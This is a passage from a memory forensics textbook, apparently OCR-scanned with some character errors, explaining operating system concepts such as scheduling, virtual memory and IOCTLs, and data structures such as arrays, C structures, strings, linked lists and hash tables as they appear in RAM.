threads can appear to be simultaneously performing multiple tasks. For example, one
thread can communicate over the network while another thread displays data on the
screen. In terms of memory forensics, thread data structures are useful because they often
contain timestamps and starting addresses. This information can help you determine
what code in a process has executed and when it began.

CPU Scheduling

The operating system’s capability to distribute CPU execution time among multiple
threads is referred to as CPU scheduling. One goal of scheduling is to optimize CPU utili-
zation as threads switch back and forth between waiting for I/O operations and perform-
ing CPU-intensive computation. The operating system’s scheduler implements policies
that govern which threads execute and how long they execute. Switching execution of
one thread to another is called a context switch.

An execution context includes the values of the CPU registers, including the current
instruction pointer. During a context switch, the operating system suspends the execu-
tion of a thread and stores its execution context in main memory. The operating system
then retrieves the execution context of another thread from memory, updates the state of
the CPU registers, and resumes execution where it was previously suspended. The saved
execution context associated with suspended threads can provide valuable insight during
memory analysis. For example, it can provide details about which sections of code were
being executed or which parameters were passed to system calls.

System Resources

Another important service that an operating system provides is helping to manage a
process’ resources. As previously mentioned, a process acts as a container for system
resources that are accessible to its threads. Most modern operating systems maintain data
structures for managing the resources that are actively being accessed, which processes
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can access them, and how they are accessed. Examples of operating system resources that
are typically tracked include processes, threads, files, network sockets, synchronization
objects, and regions of shared memory.

The type of resources being managed and the data structures being used to track them
often differ between operating systems. For example, Windows leverages an object man-
ager to supervise the use of system resources and subsequently stores that information in
a handle table. A handle provides the process with a unique identifier for accessing and
manipulating system resources. It is also used to enforce access control to those resources
and track their usage. Linux and Mac both use file descriptors in a similar manner. Later
in the book, we describe how to extract this information from the handle or file descriptor
tables and how to use it to gain insights into that process” activity.

Memory Management

Memory management refers to the operating system’s algorithms for managing the alloca-
tion, deallocation, and organization of physical memory. These algorithms often depend
on the previously discussed hardware support.

Virtual Memory

Operating systems provide each process with its own private virtual address space. This
abstraction creates a separation between the logical memory that a process sees and the
actual physical memory installed on the machine. As a result, you can write programs
as if they have access to the entire address space and in which all ranges are memory
resident. In reality, some pages of the address space might not be resident. Behind the
scenes, the memory manager is responsible for transferring regions of memory to second-
ary storage to free up space in physical memory. During execution, the memory manager
and the MMU work together to translate the virtual address into physical addresses. If
a thread accesses a virtual address that has been moved to secondary storage, that data
is then brought back into physical memory (typically via page fault). This interaction is
represented in Figure 1-9.

The actual size of the virtual address space often depends on the characteristics of
the hardware and operating system. Operating systems frequently partition the range
of accessible addresses into those addresses associated with the operating system and
those that are private to the process. The range of addresses reserved for the operating
system is generally consistent across all processes, whereas the private ranges depend on
the process that is executing. With the support of the hardware, the memory manager can
partition the data to prevent a malicious or misbehaving process from reading or writing
memory that belongs to kernel memory or other processes.
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Virtual Address Space Virtual Address Space
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Disk -
(pagefile/file) Physical Memory Sample

Figure 1-9: lllustration of multiple virtual address spaces sharing
memory and secondary storage

Demand Paging

The mechanism that is commonly used to implement virtual memory is demand paging,
which is a memory management policy for determining which regions are resident in
main memory and which are moved to a slower secondary storage when the need arises.
The most common secondary storage is a file or partition on an internal disk, referred to
as the page file or swap, respectively. A demand paging implementation attempts to load
only the pages that are actually needed into memory as opposed to entire processes.

Demand paging relies on a characteristic of memory usage known as locality of refer-
ence, which is based on the observation that memory locations are likely to be frequently
accessed in a short period time, as are their neighbors. Ideally, demand paging reduces
the time it takes to load a process into memory and increases the number of processes that
are memory resident at any one time. To improve performance and stability, an operat-
ing system’s memory manager often has a mechanism for designating which regions of
memory are paged versus those that must remain resident.

The memory manager typically tracks which pages are memory resident and which
are not in the previously discussed paging data structures. If a thread attempts to access
a page that is not resident, the hardware generates a page fault. While the hardware
generates the page fault, the operating system leverages state information encoded in
the paging structures to determine how to handle the fault. For example, the page might
be associated with a region of a file that had not been loaded into memory, or the page
might have been moved to the page file.

Demand paging provides substantial benefits to the operating system and is transpar-
ent to running applications. As you will see in later chapters, it does add some complex-
ity to memory forensics because some pages might not be memory resident at the time
the memory sample is collected. Under certain circumstances, it is possible to combine
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non-memory-resident data found on disk with the data stored in memory to provide a
more complete view of virtual memory.

Shared Memory

The previous sections discussed how process address spaces are isolated from each other
to improve system security and stability. However, modern operating systems also pro-
vide mechanisms that allow processes to share memory. You can view shared memory
as memory that is accessible from more than one virtual address space. For example,
Figure 1-10 shows that Process A and Process B have regions of their private virtual
address space that map to common pages in physical memory. One common use for
shared memory is to provide an efficient means of communication between processes.
After a shared region is mapped into virtual address spaces, processes can use the region
to exchange messages and data.

Process A Process B
0x1C0000 Physical Memory
0x45720000
0x4000 0x56001000
0x6000 0x74003000

Figure 1-10: Example of shared memory mappings between two processes

Shared memory is also commonly used to conserve physical memory. Instead of allocat-
ing multiple physical pages that contain the same data, you can create a single instance of
the data in physical memory and map various regions of virtual memory to it. Examples
include shared or dynamic libraries that contain common code and data. In these cases,
the shared pages are typically mapped as copy-on-write, which allows the memory man-
ager to defer making a private copy of the data within a process” address space until the
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memory has been modified. After the page is written to, the memory manager allocates
a private copy of that page with the associated modifications and updates the virtual
memory mappings for that process. The other processes are unaffected and still map to
the original shared page.

Both shared memory and copy-on-write mappings are frequently encountered during
memory forensics because malicious software often attempts to modify the code of shared
libraries to hijack the flow of execution. In Chapter 17, you see an example of how to spot
discrepancies by comparing the data shared between multiple processes.

Stacks and Heaps

The user address space is typically divided into a number of regions. The stack region
holds the temporary data associated with executing functions. The data in this region is
stored in a data structure called a stack frame. Each frame includes information, such as the
function parameters, local variables, and the information required to recover the previous
stack frame. When a thread is executing, stack frames are stored (pushed) when calling a
function and removed (popped) when returning from a function. Because a process can
execute in either kernel mode or user mode, operating systems typically use a separate
stack for the functions executed within each mode.

Analysis of remnant and active stack frames are extremely useful during memory
forensics because they provide valuable insight into which code was being executed and
what data was being processed. For example, keys can be passed to encryption routines,
stolen data from the computer (keystrokes, file contents) can be sent to functions for
exfiltration, and a number of other possibilities. During malware analysis, stack frames
can be used to infer what part of the malware was active and what parts of the system
the malware was interacting with.

NOTE

Carl Pulley wrote a stack unwinding plugin for Volatility named exportstack (https://
github.com/carlpulley/volatility). It integrates with Microsoft’'s debugging symbols
so that it can properly label addresses and associate them with API function names.
Edwin Smulders wrote a similar plugin named 1inux_process_stack (https://github
.com/Dutchy-/volatility-plugins) for analyzing stacks in Linux memory dumps.

The application’s data that needs to be dynamically allocated is stored within the region
called the heap. Unlike data allocated on the stack, which persists only for the scope of a
function, the data allocated within the heap can persist for the lifetime of the process. A
heap stores information whose length and contents may not be known at compile time.
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Applications can allocate memory regions on the heap as they are needed and then deal-
locate them after use.

The operating system might also have regions of memory that are dynamically allo-
cated within kernel mode. For example, Windows creates paged and nonpaged regions
within the kernel that are referred to as pools. Common examples of interesting data that
you can find in the heap include data read from files on disk, data transferred over the
network, and input typed into a keyboard. Due to the nature of data stored within it, the
heap can provide valuable evidence during forensics investigations. Because the data can
be application dependent, manual analysis might be required, such as viewing data with
a hex editor or by extracting strings for further examination.

File System

We previously discussed how the memory management subsystem leverages second-
ary storage to free up main memory. Operating systems also use secondary storage to
manage persistent data objects that a user wants to access for a timeframe longer than
the lifetime of any particular process. Unlike volatile main memory, secondary storage
is typically composed of nonvolatile block devices such as hard disks. The collection of
data structures that allow an application to perform primitive operations on the stored
data is called a file system. File system forensics involves finding files or content of interest,
recovering file artifacts (deleted, fragments, hidden), and leveraging temporal metadata
such as timestamps to reconstruct the events of an incident.

Although file systems have historically been one of the most common sources of digital
evidence, general file system forensic analysis is not a focus of this book. This book dis-
cusses file system artifacts that you find in volatile storage, main memory artifacts that
you find within the file system, and how you can combine these types of data to provide
a more comprehensive view of the state of a system. For example, data stored in files and
the directory structures must be loaded into memory when they are needed. The operat-
ing system also caches frequently accessed data in main memory to reduce the overhead
associated with repetitively querying slower secondary storage.

Previous sections discussed how the memory management subsystem uses demand
paging and shared memory to optimize memory usage. Most modern operating systems
also support memory mapped files, which enable files or portions of files to map into the
virtual address space. After files map into memory, you can access and modify them in
the same manner as traditional in-memory data structures such as arrays. As a result, the
optimized functions of the operating system are responsible for transparently handling
the disk I/O, in which the file becomes the backing store. Pages of file data are read into
memory when addresses within the page are accessed, and regions of file data can be
easily shared among processes.



Systems Overview

Investigators can leverage information about cached file data to help triage and provide
context about recently accessed and frequently accessed data. The characteristics can also
provide insight into which users or processes were accessing the data. By comparing
cached data with the data stored on disk, investigators can also identify modifications
made to memory-resident data. Additionally, during file system analysis, investigators
might find memory artifacts in crash dumps or hibernation files that can provide insight
into previous states of the system. Thus, although this book does not cover general file
system forensics, a familiarity with file systems is useful.

1/0 Subsystem

One of the major services that an operating system offers is managing and providing the
interface to peripheral input and output (I/O) devices. The 1/O subsystem abstracts the
details of these devices and enables a process to communicate with them using a standard
set of routines. Many operating systems generalize the interface to devices by treating
them as files. Because you cannot predict the type of devices that people will connect to
the system, operating systems use kernel modules called device drivers as a mechanism
for extending the capabilities of the kernel to support new devices.

Device Drivers

Device drivers abstract away the details of how a device controls and transfers data. Device
drivers typically communicate with the registers of the device controller. Although some
CPU architectures provide a separate address space for I/O devices and subsequently
require privileged I/O instructions, other architectures map the memory and registers
of I/O devices into the virtual address space. This is typically referred to as memory
mapped I/O. As you see in later chapters, software commonly abuses device drivers to
modify the state of the system.

Operating systems also use device drivers to implement virtual, software-only devices.
For example, some operating systems provide a representation of physical memory via a
software device (for example, \Device\PhysicalMemory on Windows). This device interface
has been commonly used to collect forensic samples of physical memory. Note that device
memory and registers might also be mapped into memory, which can have interesting
consequences for memory acquisition (see Chapter 4).

I/0 Controls (IOCTLs)

I/O Control (IOCTL) commands are another common mechanism for communicat-
ing between user mode and kernel mode. Although system calls provide a convenient
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interface for accessing the fixed services provided by the operating system, user applica-
tions might need to communicate with a variety of peripheral devices or other operating
system components. IOCTLs allow a user application to communicate with a kernel mode
device driver. They also provide a mechanism for third-party hardware devices and driv-
ers to define their own interfaces and functionality.

As with system calls, kernel-level malware might hook IOCTL functions in order to
filter results or modify control flow. Malware has also used IOCTL handlers to commu-
nicate between user mode and kernel mode components (for example, to request that
a kernel component elevate privileges, disable a service, or modify firewall settings).
Memory forensics can detect modified or unknown IOCTLs and provide valuable insight
into how attackers leverage them.

Summary

Now that you're familiar with the primitive hardware and software concepts of the digital
environment, you can move on to exploring the types of data you'll encounter throughout
forensic analysis of digital media, such as RAM. Remember that the information shared in
this chapter is not specific to any one operating system—it applies to Windows, Linux, and
Mac OS X. Thus, as you're reading the rest of the book, you may need to refer back to this
chapter to refresh your memory on keywords that you see us using in other discussions.



nderstanding how data is organized within volatile storage is a critical aspect of

memory analysis. Similar to files in file system analysis, data structures provide
the template for interpreting the layout of the data. Data structures are the basic building
blocks programmers use for implementing software and organizing how the program’s
data is stored within memory. It is extremely important for you to have a basic under-
standing of the common data structures most frequently encountered and how those data
structures are manifested within RAM. Leveraging this knowledge helps you to determine
the most effective types of analysis techniques, to understand the associated limitations of
those techniques, to recognize malicious data modifications, and to make inferences about
previous operations that had been performed on the data. This chapter is not intended to
provide an exhaustive exploration of data structures, but instead to help review concepts
and terminology referred to frequently throughout the remainder of the book.

Basic Data Types

You build data structures using the basic data types that a particular programming
language provides. You use the basic data types to specify how a particular set of bits is
utilized within a program. By specifying a data type, the programmer dictates the set
of values that can be stored and the operations that can be performed on those values.
These data types are referred to as the basic or primitive data types because they are not
defined in terms of other data types within that language. In some programming lan-
guages, basic data types can map directly to the native hardware data types supported by
the processor architecture. It is important to emphasize that basic data types frequently
vary between programming languages, and their storage sizes can change depending
on the underlying hardware.
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C Programming Language

This book primarily focuses on basic data types for the C programming language. Given
its usefulness for systems programming and its facilities for directly managing memory
allocations, C is frequently encountered when analyzing the memory-resident state of
modern operating systems. Table 2-1 shows basic data types for the C programming
language and their common storage sizes for both 32-bit and 64-bit architectures.

NOTE

We have also included the pointer data type in Table 2-1. A pointer is a value that
stores a virtual memory address. Programs can declare a pointer to any type of data
(i-e., char, long, or one of the abstract types discussed later). To access the stored data,
you must de-reference the pointer, which requires virtual address translation. Thus,
the inability to translate addresses will limit the types of analysis you can perform on
a physical memory sample.

Table 2-1: Common Storage Sizes for C Basic Data Types

Type 32-Bit Storage Size (Bytes) 64-Bit Storage Size (Bytes)
char 1 1

unsigned char 1 1

signed char 1 1

int 4 4

unsigned int 4 4

short 2 2

unsigned short 2 2

long 4 Windows: 4, Linux/Mac: 8
unsigned long 4 Windows: 4, Linux/Mac: 8
long long 8 8

unsigned long long 8 8

float 4 4

double 8 8

pointer 4 8
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The basic types in Table 2-1 are those the C standard defines. They are used extensively
for the Windows, Linux, and Mac OS X kernels. Windows also defines many of its own
types based on these basic types that you can see throughout the Windows header files
and documentation. Table 2-2 describes several of these types.

Table 2-2: Common Storage Sizes for Some Windows Types

Type 32-Bit Size (Bytes) 64-Bit Size (Bytes) Purpose/Native Type
DWORD 4 4 Unsigned long

HMODULE 4 8 Pointer/handle to a module
FARPROC 4 8 Pointer to a function
LPSTR 4 8 Pointer to a character string
LPCWSTR 4 8 Pointer to a Unicode string

The compiler determines the actual size of the allocated storage for the basic data types,
which is often dependent on the underlying hardware. It is important to keep in mind that
most of the basic data types are multiple-byte values, and the endian order also depends
on the underlying hardware processing the data. The following sections demonstrate
examples of how the C programming language provides mechanisms for combining
basic data types to form the composite data types used to implement data structures.

Abstract Data Types

The discussion of specific data structure examples is prefaced by introducing the stor-
age concepts in terms of abstract data types. Abstract data types provide models for
both the data and the operations performed on the data. These models are independent
of any particular programming language and are not concerned with the details of the
particular data being stored.

While discussing these abstract data types, we will generically refer to the stored data
as an element, which is used to represent an unspecified data type. This element could be
either a basic data type or a composite data type. The values of some elements—point-
ers—may also be used to represent the connections between the elements. Analogous to
the discussion of C pointers that store a memory address, the value of these elements is
used to reference another element.

By initially discussing these concepts in terms of abstract data types, you can identify
why you would use a particular data organization and how the stored data would be
manipulated. Finally, we discuss examples of how the C programming language imple-
ments abstract data types as data structures and provide examples of how to use them
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within operating systems. You will frequently encounter implementations of data struc-
tures with which you may not be immediately familiar. By leveraging knowledge of how
the program uses the data, the characteristics of how the data is stored in memory, and
the conventions of the programming language, you can often recognize an abstract data-
type pattern that will help give clues as to how the data can be processed.

Arrays

The simplest mechanism for aggregating data is the one-dimensional array. This is a collec-
tion of <index, elements pairs, in which the elements are of a homogeneous data type.
The data type of the stored elements is then typically referred to as the array type. An
important characteristic of an array is that its size is fixed when an instance of the array
is created, which subsequently bounds the number of elements that can be stored. You
access the elements of an array by specifying an array index that maps to an element’s
position within the collection. Figure 2-1 shows an example of a one-dimensional array.

Index 0 1 2 3 4

EIement|A|B|C|D|B|

Figure 2-1: One-dimensional array example

In Figure 2-1, you have an example of an array that can hold five elements. This array is
used to store characters and subsequently would be referred to as an array of characters.
As a common convention you will see throughout the book, the first element of the array
is found at index 0. Thus, the value of the element at index 2 is the C character. Assuming
the array was given the name grades, we could also refer to this element as grades [2].

Arrays are frequently used because many programming languages offer implementa-
tions designed to be extremely efficient for accessing stored data. For example, in the C
programming language the storage requirements are a fixed size, and the compiler allo-
cates a contiguous block of memory for storing the elements of the array. You typically
reference the location of the array by the memory address of the first element, which is
called the array’s base address. You can then access the subsequent elements of the array
as an offset from the base address. For example, assuming that an array is stored at base
address x and is storing elements of size s, you can calculate the address of the element
at index 1 using the following equation:

Address(I) =X+ (1*9S)

This characteristic is typically referred to as random access because the time to access
an element does not depend on what element you are accessing.
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Because arrays are extremely efficient for accessing data, you encounter them fre-
quently during memory analysis. This is especially true when analyzing the operating
system’s data structures. In particular, the operating system commonly stores arrays of
pointers and other types of fixed-sized elements that you need to access quickly at fixed
indices. For example, in Chapter 21 you learn how Linux leverages an array to store the
file handles associated with a process. In this case, the array index is the file descriptor
number. Also, Chapter 13 shows Microsoft’s MajorFunction table: an array of function
pointers that enable an application to communicate with a driver. Each element of the
array contains the address of the code (dispatch routine) that executes to satisfy an I/O
request. The index for the array maps to a predefined operation code (for example, 0 =
read; 1 = write; 2 = delete).

Figure 2-2 provides an example of how the function pointers for a driver’s MajorFunction
table are stored in memory on an IA32-based system, assuming that the first entry is stored

at base address.

Address Memory Variable Name
base_address OxfaOOb4be MajorFunction[0]
base_address + 4 0x805031b3 MajorFunction[1]
base_address + 8 0xfa00b588 MajorFunction[2]
base_address + 12 0x805031be MajorFunction[3]
base_address + 16 0x805031be MajorFunction[4]

Figure 2-2: Partial array of function pointers taken from a driver’s MajorFunction table

If you know the base address of an array and the size of its elements, you can quickly
enumerate the elements stored contiguously in memory. Furthermore, you can access
any particular member by using the same calculations the compiler generates. You may
also notice patterns in unknown contiguous blocks of memory that resemble an array,
which can provide clues about how the data is being used, what is being stored, and how
it can be interpreted.

Bitmaps

An array variant used to represent sets is the bitmap, also known as the bit vector or bit
array. In this instance, the index represents a fixed number of contiguous integers, and
the elements store a boolean value {1,0}. Within memory analysis, bitmaps are typically
used to efficiently determine whether a particular object belongs to a set (that is, allocated
versus free memory, low versus high priority, and so on). They are stored as an array of
bits, known as a map, and each bit represents whether one object is valid or not. Using
bitmaps allows for representation of eight objects in one byte, which scales well to large
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data sets. For example, the Windows kernel uses a bitmap to maintain allocated network
ports. Network ports are represented as an unsigned short, which is 2 bytes, and provides
((2")-1) or 65535 possibilities. This large number of ports is represented by a 65535-bit
(approximately 8KB) bitmap. Figure 2-3 provides an example of this Windows structure.
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Figure 2-3: An example of a Windows bitmap of in-use network ports

The figure shows both the bit-level and byte-level view of the bitmap. In the byte-level
view you can see that the first index has a value of 4e hexadecimal, which translates to
1001110 binary. This binary value indicates that ports 1, 2, 3, and 6 are in use, because
those are the positions of the bits that are set.

Records

Another mechanism commonly used for aggregating data is a record (or structure) type.
Unlike an array that requires elements to consist of the same data type, a record can be
made up of heterogeneous elements. It is composed of a collection of fields, where each
field is specified by <name, elements pairs. Each field is also commonly referred to as a
member of the record. Because records are static, similar to arrays, the combination of its
elements and their order are fixed when an instance of the record is created. Specifying
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the particular member name, which acts as a key or index, accesses the elements of a
record. A collection of elements can be combined within a record to create a new element.
Similarly, it is also possible for an element of a record to be an array or record itself.

Figure 2-4 shows an example of a network connection record composed of four mem-
bers that describe its characteristics: id, port, addr, and hostname. Despite the fact that
the members may have a variety of data types and associated sizes, by forming a record
you make it possible to store and organize related objects.

id

port

addr

hostname

Figure 2-4: Network connection record example

In the C programming language, records are implemented using structures. A structure
enables a programmer to specify the name, type, and order of the members. Similar to
arrays, the size of C structures is known when an instance is created, structures are stored
in a contiguous block of memory, and the elements are accessed using a base plus offset
calculation. The offsets from the base of a record vary depending on the size of the data
types being stored. The compiler determines the offsets for accessing an element based on
the size of the data types that precede it in the structure. For example, you would express
the definition of a C structure for the network connection information from Figure 2-4
in the following format:

struct Connection ({

short id;
short port;

unsigned long addr;
char hostname[32];

¥

As you can see, the identifier connection is the structure’s name; and id, port, addr,
and hostname are the names of its members. The first field of this structure is named id,
which has a length of 2 bytes and is used to store a unique identifier associated with
this record. The second field is named port, which also has a length of 2 bytes and is
used to store the listening port on the remote machine. The third field is used to store
the IP address of the remote machine as binary data in 4 bytes with a field name of addr.
The fourth field is called hostname and stores the hostname of the remote machine using
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32 bytes. Using information about the data types, the compiler can determine the proper
offsets (0, 2, 4, and 8) for accessing each field. Table 2-3 lists the members of connection
and their associated offsets.

Table 2-3: Structure Type Information for a Network Connection Example

Byte Range Name Type Description

0-1 id short Unique record ID
2-3 port short Remote port

4-7 addr unsigned long Remote address
8-39 hostname char [32] Remote hostname

The following is an example of how an instance of the data structure would appear in
memory, as presented by a tool that reads raw data:

0000000: 0100 0050 ad3d de09 7777 772e 766f 6c6l ...P.>X.www.vola
0000010: 7469 6c69 7479 666f 756e 6461 7469 6f6e tilityfoundation
0000020: 2e6f 7267 0000 0000 .0rg. ...

C-style structures are some of the most important data structures encountered when
performing memory analysis. After you have determined the base address of a particular
structure, you can leverage the definition of the structure as a template for extracting and
interpreting the elements of the record. One thing that you must keep in mind is that
the compiler may add padding to certain fields of the structure stored in memory. The
compiler does this to preserve the alignment of fields and enhance CPU performance.

As an example, we can modify the structure type from Table 2-3 to remove the port
field. If the program were then recompiled with a compiler configured to align on 32-bit
boundaries, we would find the following data in memory:

0000000: 0100 0000 ad3d de09 7777 772e 766f 6c6l ...P.>X.www.vola
0000010: 7469 6c69 7479 666f 756e 6461 7469 6fe6e tilityfoundation
0000020: 2e6f 7267 0000 0000 .0rg....

In the output, you can see that despite removing the port field, the remaining fields
(id, addr, hostname) are still found at the same offsets (0, 4, 8) as before. You will also
notice that the bytes 2-3 (containing 0000), which previously stored the port value, are
now used solely for padding.

As you will see in later chapters, the definition of a data structure and the constraints
associated with the values that can be stored in a field can also be used as a template for
carving possible instances of the structure directly from memory.
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Strings

One of the most important storage concepts that you will frequently encounter is the
string. The string is often considered a special case of an array, in which the stored ele-
ments are constrained to represent character codes taken from a predetermined character
encoding. Similar to an array, a string is composed of a collection of <index, elements
pairs. Programming languages often provide routines for string manipulation, which
may change the mappings between indices and elements. While records and arrays are
often treated as static data types, a string can contain a variable length sequence of ele-
ments that may not be known when an instance is created. Just as the mappings between
indices and elements may change during processing, the size of the string may dynami-
cally change as well. As a result, strings must provide a mechanism for determining the
length of the stored collection.

The first implementation we are going to consider is the C-style string. C-style strings
provide an implementation that is very similar to how the C programming language
implements arrays. In particular, we will focus on C-style strings where the elements are
of type char—a C basic data type—and are encoded using the ASCII character encoding,.
This encoding assigns a 7-bit numerical value (almost always stored in a full byte) to the
characters in American English. The major difference between a C-style string and an
array is that C-style strings implicitly maintain the string length. This is accomplished
by demarcating the end of the string with an embedded string termination character. In
the case of C-style strings, the termination character is the ASCII NULL symbol, which
is 0x00. You can then calculate the length of the string by determining the number of
characters between the string’s starting address and the termination character.

For example, consider the data structure discussed previously for storing network
information whose structure type was presented in Table 2-3. The fourth element of the
data structure used to store the hostname is a C-style string. Figure 2-5 shows how the
string would be stored in memory using the ASCII character encoding. The string begins
at byte offset 8 and continues until the termination character, 0xo0, at offset 36. Thus you
can determine that the string is used to store 28 symbols and the termination character.

www . v ol a1t il ity f owundat i on . o r g

177|77| 77 2| 76 ¢f [ 6c| 61] 76| 69| 6c | 69| 74| 79| 66 | f | 75| 60| 64| 61|74 | 69| 6F | 6e | 2¢ | f [ 72] 67| 00|

8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
Figure 2-5: Hostname represented in ASCll as a C-style string
You may frequently encounter an alternative string implementation when analyzing

memory associated with the Microsoft Windows operating system. We will refer to this
implementation as the _UNICODE_STRING implementation because that is the name of its
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supporting data structure. Unlike the C-style string implementation that leverages the
ASCII character encoding to store 1-byte elements, the _uN1cope_sTrING supports Unicode
encoding by allowing elements to be larger than a single byte and, as a result, provides
support for language symbols beyond just American English.

Unless otherwise specified, the elements of a_uNICODE_STRING are encoded using the
UTF-16 version of Unicode. This means characters are stored as either 2- or 4-byte values.
Another difference from the C-style string is that a _uNIcoDE_STRING does not require a
terminating character but instead stores the length explicitly. As previously mentioned,
a_UNICODE_STRING is implemented using a structure that stores the length, in bytes, of the
string (Length), the maximum number of bytes that can be stored in this particular string
(MaximumLength), and a pointer to the starting memory address in which the characters are
stored (Butfer). The format of the _UNICODE_STRING data structure is given in Table 2-4.

Table 2-4: Structure Type Definition for _UNICODE_STRING on 64-Bit Versions of Windows

Byte Range Name Type Description

0-1 Length unsigned short Current string length
2-3 MaximumLength unsigned short Maximum string length
8-15 Buffer * unsigned short String address

Strings are an extremely important component of memory analysis, because they are
used to store textual data (passwords, process names, filenames, and so on). While inves-
tigating an incident, you will commonly search for and extract relevant strings from
memory. In these cases, the string elements can provide important clues as to what the
data is and how it is being used. In some circumstances, you can leverage where a string
is found (relative to other strings) to provide context for an unknown region of memory.
For example, if you find strings related to URLs and the temporary Internet files folder,
you may have found fragments of the Internet history log file.

Also important for you to understand is that the particular implementation of the
strings can pose challenges, depending on the type of memory analysis being performed.
For example, because C-style strings implicitly embed a terminating character that des-
ignates the end of the stored characters, strings are typically extracted by processing
each character until the termination character is reached. Some challenges may arise, if
the termination character cannot be found. For example, when analyzing the physical
address space of a system that leverages paged virtual memory, you could encounter a
string that crosses a page boundary to a page that is no longer memory resident, which
would require special processing or heuristics to determine the actual size of the string.

The _unIcobE_sTRING implementation can also make physical address space analysis
challenging. The _unIcopE_sTRING data structure only contains metadata for the string
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(that is, its starting virtual memory address, size in bytes, and so on). Thus, if you cannot
perform virtual address translation, then you cannot locate the actual contents of the
string. Likewise, if you find the contents of a string through other means, you may not be
able to determine its appropriate length, because the size metadata is stored separately.

Linked Lists

A linked-list is an abstract data type commonly used for storing a collection of elements.
Unlike fixed-size arrays and records, a linked-list is intended to provide a flexible struc-
ture. The structure can efficiently support dynamic updates and is unbounded with
respect to the number of elements that it can store. Another major difference is that a
linked-list is not indexed and is designed to provide sequential access instead of random
access. A linked-list is intended to be more efficient for programs that need to frequently
manipulate the stored collection by adding, removing, or rearranging elements. This
added efficiency is accomplished by using links to denote relationships between elements
and then updating those links as necessary. The first element of the list is commonly
referred to as the head and the last element as the tail. Following the links from the head
to the tail and counting the number of elements can determine the number of elements
stored in a linked-list.

Singly Linked List

Figure 2-6 demonstrates an example of a singly-linked list of four elements. Each element
of the singly linked list is connected by a single link to its neighbor and, as a result, the list
can be traversed in only one direction. As shown in Figure 2-6, inserting new elements and
deleting elements from the list requires only a couple of operations to update the links.

Head Tail
Head Link Link Link Tail
—>| Element > Element > Element > Element —>
Link Link
Element > Element | g Element > Element
Inserted
Element
Deleted > Element

Element —‘ ~~~~~~ Element | |77 ’—> Element

Figure 2-6: Singly-linked list example
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To support the dynamic characteristics of linked lists and minimize storage require-
ments, C programming language implementations typically allocate and deallocate the
memory to store elements as needed. As a result, you cannot assume that the elements
will be stored contiguously in memory. Furthermore, the sequential ordering of elements
is not implicit with respect to their memory location, as was the case with arrays. Instead,
each element of the list is stored separately, and links are maintained to the neighboring
elements. In some implementations, the links are stored embedded within the element
(internal storage). In other implementations, the nodes of the linked-list contain links to
the neighboring nodes and a link to the address in memory where the element is being
stored (external storage). In either case, you implement the links between nodes by using
pointers that hold the virtual memory address of the neighboring node. Thus, to access
an arbitrary element of the list, you must traverse the linked list by following the pointers
sequentially through the virtual address space.

Doubly Linked List

It is also possible to create a doubly linked list in which each element stores two pointers:
one to its predecessor in the sequence and the other to its successor. Thus, you can tra-
verse a doubly linked list both forward and backward. As you will see in the forthcoming
examples, linked-list implementations can also use a variety of mechanisms for denoting
the head and tail of the list.

Circular Linked List

An example linked-list implementation used frequently in the Linux kernel is the circular
linked list. It is called a circular linked list because the final link stored with the tail refers
to the initial node in the list (list head). This is particularly useful for lists in which the
ordering is not important. A circular linked list is traversed by starting at an arbitrary
list node and stopping when the list traversal returns to that node. Figure 2-7 shows an
example of a circular linked list. As discussed in more detail in later chapters, this type
of linked list has been used in the Linux kernel for process accounting,

Element

Y

Element

Y

Element

Y

Element

Y

Figure 2-7: Circular linked list example

Embedded Doubly Linked Lists

When analyzing process accounting for Microsoft Windows, you often encounter another
linked-list implementation: an embedded doubly linked list. We refer to it as “embedded”
because it leverages internal storage to embed a _L1sT_ENTRY64 data structure within the
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element being stored. As shown in the _nLI1sT_ENTRve4 format description in Table 2-5,
the data structure contains only two members: a pointer to the successor’s embedded
_LIST_ENTRY64 (Flink) and a pointer to the predecessor’s embedded _LIST ENTRY64 (Blink).
Because the links store the addresses of other embedded _LIsT_ENTRY64 structures, you
calculate the base address of the containing element by subtracting the offset of the
embedded 1IST ENTRY64 structure within that element. Unlike the circular linked list,
this implementation uses a separate _LIST_ENTRY64 as a sentinel node, which is used only
to demarcate where the list begins and ends. We discuss these and other linked-list
implementations in more detail throughout the course of the book.

Table 2-5: Structure Type Definition _LIST_ENTRY64 on 64-Bit Versions of Windows

Byte Range Name Type Description
0-7 Flink * LIST ENTRY64 Pointer to successor
8-15 Blink * LIST ENTRY64 Pointer to predecessor

Lists in Physical and Virtual Memory

When analyzing memory, you frequently encounter a variety of linked-list implementa-
tions. For example, you can scan the physical address space looking for data that resembles
the elements stored within a particular list. Unfortunately, you cannot determine whether
the data you find is actually a current member of the list from physical address space
analysis alone. You cannot determine an ordering for the list, nor can you use the stored
links to find neighboring elements. On the other hand, physical address space analysis
does enable you to potentially find elements that may have been deleted or surrepti-
tiously removed to thwart analysis. Dynamic data structures, such as linked lists, are
a frequent target of malicious modifications because they can be easily manipulated by
simply updating a few links.

In addition to physical address space analysis, you can leverage virtual memory analy-
sis to translate the virtual address pointers and traverse the links between nodes. Using
virtual memory analysis, you can quickly enumerate relationships among list elements
and extract important information about list ordering.

Hash Tables

Hash tables are often used in circumstances that require efficient insertions and searches
where the data being stored is in <key, elements pairs. For example, hash tables are used
throughout operating systems to store information about active processes, network con-
nections, mounted file systems, and cached files. A common implementation encountered
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during memory analysis involves hash tables composed of arrays of linked lists, otherwise
known as chained overflow hash tables. The advantage of this implementation is that it allows
the data structure to be more dynamic. A hash function, h (x), is used to convert the key
into an array index, and collisions (i.e., values with the same key) are stored within the
linked list associated with the hash table entry. Figure 2-8 demonstrates an example of a
hash table implemented as an array of linked lists.

hkey)
0 —> Element | [—>{ Element | |

1 | Element | |

2 —> Element | [—>{ Element | |

3 —> Element | > Element | |—>| Element | |[|—> -

Hash Table

Figure 2-8: Hash table with chained-overflow example

In the example, searching for a particular key that results in a collision may require
walking a linked list of collisions, but that is ideally much faster than walking through
a list of all keys. For example, if a hash table is backed by an array of 16,000 indexes, and
the hash table has 64,000 elements, an optimum hash function places 4 elements into each
array index. When a search is performed, the hashed key then points to a list with only
4 elements instead of potentially traversing 64,000 elements upon each lookup.

Linux uses a chained overflow hash table (known as the process ID hash table) to associ-
ate process IDs with process structures. Chapter 21 explains how memory forensics tools
leverage this hash table to find active processes.

Trees

A tree is another dynamic storage concept that you may encounter when analyzing mem-
ory. Although arrays, records, strings, and linked lists provide convenient mechanisms
for representing the sequential organization of data, a tree provides a more structured
